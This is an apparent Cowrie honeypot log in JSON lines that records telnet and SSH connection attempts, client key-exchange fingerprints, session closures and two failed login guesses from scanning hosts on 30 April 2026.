{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":58950,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d3dc947413f","protocol":"telnet","message":"New connection: 122.102.44.174:58950 (10.17.0.5:23) [session: 7d3dc947413f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:13:57.052703Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":59456,"dst_ip":"10.17.0.5","dst_port":23,"session":"26bf51c50ec3","protocol":"telnet","message":"New connection: 122.102.44.174:59456 (10.17.0.5:23) [session: 26bf51c50ec3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:13:57.644744Z"}
{"eventid":"cowrie.session.closed","duration":30.573397159576416,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:13:58.146792Z","src_ip":"122.102.44.174","session":"b6d50043d8ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":33340,"dst_ip":"10.17.0.5","dst_port":23,"session":"f381428d7303","protocol":"telnet","message":"New connection: 122.102.44.174:33340 (10.17.0.5:23) [session: f381428d7303]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:13:59.778299Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":34270,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd952fa65ed9","protocol":"telnet","message":"New connection: 122.102.44.174:34270 (10.17.0.5:23) [session: fd952fa65ed9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:00.759567Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":38258,"dst_ip":"10.17.0.5","dst_port":23,"session":"290648a96c9a","protocol":"telnet","message":"New connection: 122.102.44.174:38258 (10.17.0.5:23) [session: 290648a96c9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:04.609157Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":38752,"dst_ip":"10.17.0.5","dst_port":23,"session":"37883e8d3c4d","protocol":"telnet","message":"New connection: 122.102.44.174:38752 (10.17.0.5:23) [session: 37883e8d3c4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:05.112865Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":40180,"dst_ip":"10.17.0.5","dst_port":23,"session":"b98d048ddb68","protocol":"telnet","message":"New connection: 122.102.44.174:40180 (10.17.0.5:23) [session: b98d048ddb68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:06.608318Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":40220,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a9d8d1962fa","protocol":"telnet","message":"New connection: 122.102.44.174:40220 (10.17.0.5:23) [session: 4a9d8d1962fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:06.636921Z"}
{"eventid":"cowrie.session.closed","duration":30.559871196746826,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:07.136434Z","src_ip":"122.102.44.174","session":"96768563366e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":42492,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d0033132d5e","protocol":"telnet","message":"New connection: 122.102.44.174:42492 (10.17.0.5:23) [session: 0d0033132d5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:08.677918Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":44472,"dst_ip":"10.17.0.5","dst_port":23,"session":"802b78187db6","protocol":"telnet","message":"New connection: 122.102.44.174:44472 (10.17.0.5:23) [session: 802b78187db6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:10.405691Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":45294,"dst_ip":"159.203.135.109","dst_port":22,"session":"2062f1982057","protocol":"ssh","message":"New connection: 80.94.92.186:45294 (159.203.135.109:22) [session: 2062f1982057]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:10.930166Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:10.989752Z","src_ip":"80.94.92.186","session":"2062f1982057","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:11.131749Z","src_ip":"80.94.92.186","session":"2062f1982057","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":45638,"dst_ip":"10.17.0.5","dst_port":23,"session":"dac5dba87c11","protocol":"telnet","message":"New connection: 122.102.44.174:45638 (10.17.0.5:23) [session: dac5dba87c11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:11.635696Z"}
{"eventid":"cowrie.login.failed","username":"solana","password":"jito","message":"login attempt [solana/jito] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:11.976400Z","src_ip":"80.94.92.186","session":"2062f1982057","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:13.203197Z","src_ip":"80.94.92.186","session":"2062f1982057","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":47762,"dst_ip":"10.17.0.5","dst_port":23,"session":"55ab312f373b","protocol":"telnet","message":"New connection: 122.102.44.174:47762 (10.17.0.5:23) [session: 55ab312f373b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:13.574952Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":48046,"dst_ip":"10.17.0.5","dst_port":23,"session":"22bb7f95ca7d","protocol":"telnet","message":"New connection: 122.102.44.174:48046 (10.17.0.5:23) [session: 22bb7f95ca7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:13.864870Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":49262,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e183ca19075","protocol":"telnet","message":"New connection: 122.102.44.174:49262 (10.17.0.5:23) [session: 2e183ca19075]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:15.003423Z"}
{"eventid":"cowrie.session.closed","duration":30.520331621170044,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:15.162340Z","src_ip":"122.102.44.174","session":"85968f3a5cf4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41070,"dst_ip":"159.203.135.109","dst_port":22,"session":"2dec2e60fe1e","protocol":"ssh","message":"New connection: 159.203.92.129:41070 (159.203.135.109:22) [session: 2dec2e60fe1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:15.504651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:15.509562Z","src_ip":"159.203.92.129","session":"2dec2e60fe1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:15.517576Z","src_ip":"159.203.92.129","session":"2dec2e60fe1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"URANUS","password":"123456","message":"login attempt [URANUS/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:15.528836Z","src_ip":"159.203.92.129","session":"2dec2e60fe1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":49956,"dst_ip":"10.17.0.5","dst_port":23,"session":"6246c4f40765","protocol":"telnet","message":"New connection: 122.102.44.174:49956 (10.17.0.5:23) [session: 6246c4f40765]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:15.621188Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:16.535344Z","src_ip":"159.203.92.129","session":"2dec2e60fe1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":51466,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b90307a1286","protocol":"telnet","message":"New connection: 122.102.44.174:51466 (10.17.0.5:23) [session: 1b90307a1286]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:16.796308Z"}
{"eventid":"cowrie.session.closed","duration":30.51621961593628,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:18.130158Z","src_ip":"122.102.44.174","session":"89ecf4e73293","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.40819263458252,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:18.135305Z","src_ip":"122.102.44.174","session":"4233b88552c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":53608,"dst_ip":"10.17.0.5","dst_port":23,"session":"6da96a5de197","protocol":"telnet","message":"New connection: 122.102.44.174:53608 (10.17.0.5:23) [session: 6da96a5de197]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:18.600201Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":55296,"dst_ip":"10.17.0.5","dst_port":23,"session":"76894c0b2d71","protocol":"telnet","message":"New connection: 122.102.44.174:55296 (10.17.0.5:23) [session: 76894c0b2d71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:20.011387Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":55982,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a7fc552c3e9","protocol":"telnet","message":"New connection: 122.102.44.174:55982 (10.17.0.5:23) [session: 7a7fc552c3e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:20.652562Z"}
{"eventid":"cowrie.session.closed","duration":30.495749711990356,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:21.117136Z","src_ip":"122.102.44.174","session":"ef1dea5d20dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":57200,"dst_ip":"10.17.0.5","dst_port":23,"session":"8af83ee42601","protocol":"telnet","message":"New connection: 122.102.44.174:57200 (10.17.0.5:23) [session: 8af83ee42601]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:21.655265Z"}
{"eventid":"cowrie.session.closed","duration":30.523620128631592,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:23.108813Z","src_ip":"122.102.44.174","session":"5f86509a7a70","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.536399364471436,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:23.125700Z","src_ip":"122.102.44.174","session":"a0903f93233a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":34620,"dst_ip":"10.17.0.5","dst_port":22,"session":"9930bd543a8c","protocol":"ssh","message":"New connection: 194.59.206.2:34620 (10.17.0.5:22) [session: 9930bd543a8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:23.575851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:23.652837Z","src_ip":"194.59.206.2","session":"9930bd543a8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:23.698008Z","src_ip":"194.59.206.2","session":"9930bd543a8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":60154,"dst_ip":"10.17.0.5","dst_port":23,"session":"cea8011c5518","protocol":"telnet","message":"New connection: 122.102.44.174:60154 (10.17.0.5:23) [session: cea8011c5518]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:24.304785Z"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:24.814527Z","src_ip":"194.59.206.2","session":"9930bd543a8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":34190,"dst_ip":"10.17.0.5","dst_port":23,"session":"21a2c218eb7d","protocol":"telnet","message":"New connection: 122.102.44.174:34190 (10.17.0.5:23) [session: 21a2c218eb7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:26.330471Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":34494,"dst_ip":"10.17.0.5","dst_port":23,"session":"77e40cbfa4d0","protocol":"telnet","message":"New connection: 122.102.44.174:34494 (10.17.0.5:23) [session: 77e40cbfa4d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:26.580065Z"}
{"eventid":"cowrie.session.closed","duration":31.071279525756836,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:28.123855Z","src_ip":"122.102.44.174","session":"7d3dc947413f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.515422344207764,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:28.160034Z","src_ip":"122.102.44.174","session":"26bf51c50ec3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":38222,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d183077abed","protocol":"telnet","message":"New connection: 122.102.44.174:38222 (10.17.0.5:23) [session: 2d183077abed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:29.592868Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":38250,"dst_ip":"10.17.0.5","dst_port":23,"session":"f23d9f5a10e7","protocol":"telnet","message":"New connection: 122.102.44.174:38250 (10.17.0.5:23) [session: f23d9f5a10e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:29.615420Z"}
{"eventid":"cowrie.session.closed","duration":30.375778436660767,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:30.153977Z","src_ip":"122.102.44.174","session":"f381428d7303","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":39392,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec24c19dd6fd","protocol":"telnet","message":"New connection: 122.102.44.174:39392 (10.17.0.5:23) [session: ec24c19dd6fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:30.631495Z"}
{"eventid":"cowrie.session.closed","duration":30.391488790512085,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:31.150957Z","src_ip":"122.102.44.174","session":"fd952fa65ed9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":40694,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c214dee2bcf","protocol":"telnet","message":"New connection: 122.102.44.174:40694 (10.17.0.5:23) [session: 5c214dee2bcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:31.703488Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":40716,"dst_ip":"10.17.0.5","dst_port":23,"session":"5cce1949a486","protocol":"telnet","message":"New connection: 122.102.44.174:40716 (10.17.0.5:23) [session: 5cce1949a486]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:31.726231Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":41692,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8ffc8fb2e2f","protocol":"telnet","message":"New connection: 122.102.44.174:41692 (10.17.0.5:23) [session: a8ffc8fb2e2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:32.573811Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":41716,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cb4407e800d","protocol":"telnet","message":"New connection: 122.102.44.174:41716 (10.17.0.5:23) [session: 4cb4407e800d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:32.593459Z"}
{"eventid":"cowrie.session.closed","duration":30.575029611587524,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:35.184049Z","src_ip":"122.102.44.174","session":"290648a96c9a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99625039100647,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:36.108938Z","src_ip":"122.102.44.174","session":"37883e8d3c4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":46582,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d4a21696a21","protocol":"telnet","message":"New connection: 122.102.44.174:46582 (10.17.0.5:23) [session: 7d4a21696a21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:36.629893Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":46716,"dst_ip":"10.17.0.5","dst_port":23,"session":"9878aeed2114","protocol":"telnet","message":"New connection: 122.102.44.174:46716 (10.17.0.5:23) [session: 9878aeed2114]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:36.746706Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.102.44.174","src_port":46892,"dst_ip":"10.17.0.5","dst_port":23,"session":"46fc0cc76317","protocol":"telnet","message":"New connection: 122.102.44.174:46892 (10.17.0.5:23) [session: 46fc0cc76317]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:36.917512Z"}
{"eventid":"cowrie.session.closed","duration":30.480497121810913,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:37.117293Z","src_ip":"122.102.44.174","session":"4a9d8d1962fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.530646800994873,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:14:37.138610Z","src_ip":"122.102.44.174","session":"b98d048ddb68","protocol":"telnet"}
